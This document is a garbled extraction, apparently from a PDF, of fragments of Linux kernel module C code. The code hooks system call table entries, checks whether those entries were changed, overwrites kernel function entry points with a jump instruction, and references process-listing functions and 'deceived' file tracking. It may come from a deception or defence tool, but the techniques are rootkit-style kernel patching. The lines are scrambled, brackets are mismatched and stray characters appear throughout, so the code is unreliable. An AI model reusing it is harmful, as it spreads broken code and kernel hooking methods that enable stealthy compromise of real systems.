                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk("Somebody's playing with sys_chdir...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           printk("Somebody's playing with sys_close...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         printk("Somebody's playing with sys_open...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              printk("Somebody's playing with sys_setreuid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (sys_call_table[__NR_setreuid32] != my_sys_setreuid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (sys_call_table(__NR_setuid32) != my_sys_setuid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk("Somebody's playing with sys_readlink...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              (sys_call_table[__NR_readlink] != my_sys_readlink)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         printk("Somebody's playing with sys_lstat64...:\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (sys_call_table(__NR_lstat64) != my_sys_lstat64)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                printk("Somebody's playing with sys_read....!\n");
                                                                       (sys_call_table(__NR_setgroups32) != my_sys_setgroups
                                                                                                                                                         (sys_call_table[__NR_setfsgid32] != my_sys_setfsgid)
                                                                                                                                                                                                                                    (sys_call_table(__NR_setfsuid32) != my_sys_setfsuid)
                                                                                                                                                                                                                                                                         printk("Somebody's playing with sys_setresgid....!\n");
                                                                                                                                                                                                                                                                                                                  (sys_call_table[__NR_setresgid32] != my_sys_setresgid
                                                                                                                                                                                                                                                                                                                                                    printk("Somebody's playing with sys_setresuid....!\n")
                                                                                                                                                                                                                                                                                                                                                                                             (sys_call_table[__NR_setresuid32] != my_sys_setresuid
                                                                                                                                                                                                                                                                                                                                                                                                                                      printk("Somebody's playing with sys_setregid....!\n")
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (sys_call_table[__NR_setregid32) != my_sys_setregid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk("Somebody's playing with sys_setgid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             printk("Somebody's playing with sys_setuid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk("Somebody's playing with sys_lstat...!\n");
(sys_call_table(__NR_getdents64) != my_sys_getdents64
                                  printk("Somebody's playing with sys_setgroups...!\n"
                                                                                                                   printk("Somebody's playing with sys_setfsgid....!\n");
                                                                                                                                                                                           printk("Somebody's playing with sys_setfsuid...!\n")
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            _NR_open] = my_sys_open;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _NR_chdir] = my_sys_chdir;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              _NR_stat64] = my_sys_stat64;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 _NR_setgid32] != my_sys_setgid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 _NR_close] != my_sys_close)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    = my_sys_read;
```

```
original sys_calls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ÌΈ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ij
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    i£
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 Ħ.
                                                                                                                                                                                                                                                                                sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ř
                                                                                                                                                                                       sys_call_table
                                                                                                                                                                                                                       sys_call_table
                                                                                                                                                                                                                                                       sys_call
                                                                                                                                                                                                                                                                                                                    sys_call_table
                                                                                                                                                                                                                                                                                                                                                    sys_call_table
                                                                                                                                                                                                                                                                                                                                                                             sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                               sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                               sys_call_table|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sys_cal.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sys_call_table|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sys_call_table|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sys_call_table(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (sys_call_table{__NR_delete_module] != my_sys_delete_module)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                (sys_call_table[__NR_rename] != my_sys_rename|
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (sys_call_table(__NR_getgroups32) != my_sys_getgroups)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk("Somebody's playing with sys_getgroups....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (sys_call_table[__NR_write] != my_sys_write)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("Somebody's playing with sys_socket...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (sys_call_table(__NR_socketcall) != my_sys_socket)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("Somebody's playing with sys_delete_module...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("Somebody's playing with sys_mkdir...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (sys_call_table[__NR_mkdir] != my_sys_mkdir)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     printk("Somebody's playing with sys_rename....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("Somebody's playing with sys_chmod....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (sys_call_table[__NR_chmod] != my_sys_chmod)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             printk("Somebody's playing with sys_getegid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("Somebody's playing with sys_getgid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (sys_call_table(__NR_getgid32) != my_sys_getgid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       printk("Somebody's playing with sys_geteuid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("Somebody's playing with sys_getuid....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (sys_call_table[_
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (sys_call_table(__NR_rmdir) != my_sys_rmdir)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          printk("Somebody's playing with sys_write....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("Somebody's playing with sys_getdents64...!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             printk("Somebody's playing with sys_rmdir....!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             printk("Somebody's playing with sys_unlink...!\n");
                                                                                                                                                                                                                                                          l_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               l_table
                                                                                                                                                            l_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_rename] = org_sys_rename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_mkdir] = org_sys_mkdir;
                                                                                                                                                       _NR_setuid32] = org_sys_setuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                       _NR_write] = org_sys_write;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _NR_rmdir] = org_sys_rmd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          _NR_chmod] = org_sys_chmod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             _NR_socketcall] = org_sys_socket;
                                                                                        _NR_lstat64] = org_sys_lstat64;
                                                                                                                                                                                                                  _NR_setresgid32] = org_sys_setresgid;
                                                                                                                                                                                                                                                     _NR_setresuid32] = org_sys_setresuid;
                                                                                                                                                                                                                                                                                NR_setreuid32] = org_sys_setreuid;
_NR_setregid32] = org_sys_setregid;
                                                                                                                                                                                                                                                                                                                                                                             _NR_setfsgid32] = org_sys_setfsgid;
                                                                                                                                                                                                                                                                                                                                                                                                          _NR_setgroups32] = org_sys_setgroups
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _NR_getuid32] = org_sys_getuid; _
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_geteuid32] = org_sys_geteuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             _NR_getgid32] = org_sys_getgid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        _NR_getegid32] = org_sys_getegid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_delete_module) = org_sys_delete_module;
                                  _NR_stat64] = org_sys_stat64;
                                                                                                                          _NR_readlink] = org_sys_readlink;
                                                                                                                                                                                  NR_setgid32] = org_sys_setgid;
                                                                                                                                                                                                                                                                                                                                             _{
m NR\_setfsuid32} = org_sys_setfsuid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       _NR_unlink] = org_sys_unlink;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             _NR_getgroups32] = org_sys_getgroups;
  _NR_stat] = org_sys_stat;
                                                                                                                                                                                                                                                                                                                                                                                                                                          _NR_getdents64] = org_sys_getdents64;
                                                             NR_lstat] = org_sys_lstat;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_geteuid32] != my_sys_geteuid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _NR_getuid32] != my_sys_getuid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             _NR_unlink] != my_sys_unlink)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          _NR_getegid32]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             != my_sys_getegid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //restore
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             void init_dcv() //initialize array that keeps track of deceived file
                                                                                                                                                                                                             %x\n",prt[0],prt[1],prt[2],prt[3],prt[4],prt[5]);
                                                                                                                                                                                                                                                                                                                                                                        void restore_fcn(void * k_fcn, void * org_fcn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             memcpy(k_fcn,a,5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           memcpy(org_fcn,k_fcn,5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             memcpy(&a[1],&tmp,4);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        %x\n",prt[0],prt[1],prt[2],prt[3],prt[4],prt[5]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  descriptors
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                %x\n",prt[0],prt[1],prt[2],prt[3],prt[4],prt[5]);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *
#include <linux/mm.h>
                               #include <linux/init.h>
                                                                                                                     %x\n",prt[0],prt[1],prt[2],prt[3],prt[4],prt[5]);
                                                                                                                                                                                                                                                                                                                                                                                                             instruction *,
                                                             // # File rerout.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Restores a function in the kernel with its original
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Reroute a kernel function by overwriting kernel binary.
                                                                                                                                                                                     memcpy(k_fcn, org_fcn, 5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // printk("--after %x %x %x %x %x
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // printk("--before %x %x %x %x %x
                                                                                                                                                                                                                                                                                  prt=k_fcn;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       for (i=3;i<NUM_FD;i++)
                                                                                                                                                       // printk("--after restoring %x %x %x %x %x
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return;
                                                                                                                                                                                                                                                  // printk("--before restoring %x %x %x %x %x
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          reroute_fcn(void *
                                                                                                                                                                                                                                                                                                                                                                                                                                   contents after it was previously overwritten with a jmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        a jump instruction to a desired location.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  char a[5];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                char * prt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     overwrites the function entry point with
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       After it saves
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sys_call_table[__NR_close] = org_sys_close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sys_call_table[
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     sys_call_table
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     sys_call_table[__NR_chdir] = org_sys_chdir;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  tmp=(int)new_fcn-(int)k_fcn-5;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     a[0]=0xe9;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     prt=k_fcn;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          dcv[i]=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     //jmp near with 32 bit relative offset
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //overwrite kernel binary (reroute fcn)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     the original function contents,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        __NR_open] = org_sys_open;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _NR_read] = org_sys_read;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //build opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          k_fcn, void * new_fcn, void * org_fcn)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //save original binary contents
                                                                                                                                                                                     //restore binary contents
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     //calculate relative offset
```

```
struct
                                                                                                                                                                                                            extern int proc_base_readdir(struct file * filp,
                                                                                                                                                                                                                                             extern int proc_pid_readdir(struct file * filp, void *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include <linux/config.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include <linux/spinlock.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include linux/proc_fs.h>
                                                                                               #define PROC_MAXPIDS 20
                                                                                                                                                                                                                                filldir_t filldir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #define
                                                                                                              #define PROC_NUMBUF 10
                                                                                                                                                                               extern
                                                                                                                                                                                                                                                               #define isdigit(c)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #define
                                                                                                                                                               struct vfsmount
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       finclude <linux/random.h>
                                                                                                                             #define fake_ino(pid,ino) (((pid)<<16)|(ino))
                                                                                                                                                                                                                                                                                                             define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      define
                                                                                                                                                                                                                                                                                              Ĺۥ_Ĺۥ_Ĺۥ_Ĺۥ_Ĺۥ_Ĺ,_Ĺ,_Ľ,_P,_Ĺ,_Ĺ,_Ĺ,_Ĺ,_Ĺ,_Ĺ,_Ĺ,_Ĺ,,_Ĺ};
                                                                                                                                                                                                                                                                                                                                                                                                 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
                                                                                                                                                                                                                                                                                                                                                                                                                                 _L,_L,_P,_P,_P,_P,_C
              mode_t mode;
                               char *name;
                                              int len;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                _L,_L,_L,_L,_L,_L,
                                                                              pid_entry
                                                                                                                                                                             int proc_cwd_link(struct inode *inode, struct dentry **dentry,
                                                              type;
                                                                                                                                                                                             p* dirent, filldir_t filldir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     _SP 0x80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      <linux/smp_lock.h>
                                                                                                                                                                                                                                                                                                                                _U,_U,_U,_U,_P,_U,_U,_U,_U,_U,_U,_U,_U,_L,
                                                                                                                                                                                                                                                                                                                                                                                                                                               _և, _և, _և, _և, _և,
                                                                                                                                                                                                                                                                       _ismask(x) (_ctype[(int)(unsigned char)(x)])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0x01
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0x40
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      80x0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     0x02
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   _ctype[] = {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |_s,_c|_s,_c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* hard space (0x20) */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* white space (space/lf/tab)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* punct */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* cntrl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* digit */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* upper
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  hex digit */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     lower */
                                                                                                                                                                                                                                                            _ismask(c)&(_D)) != 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _x,_u|_x,_u,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  _L|_X,_L,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    *
                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     40-47 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                   112-119 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104-111 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    88-95 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    56-63 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     48-55 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     80-87 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    72-79 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    24-31 */
                                                                                                                                                                                                                                                                                                                                                                                                   /* 144-159 */
                                                                                                                                                                                                                                                                                                                                                                                                                                   120-127 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /*-32-39
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    16-23 */
                                                                                                                                                                                                                                                                                                                                                                                                                    /* 128-143 */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       *
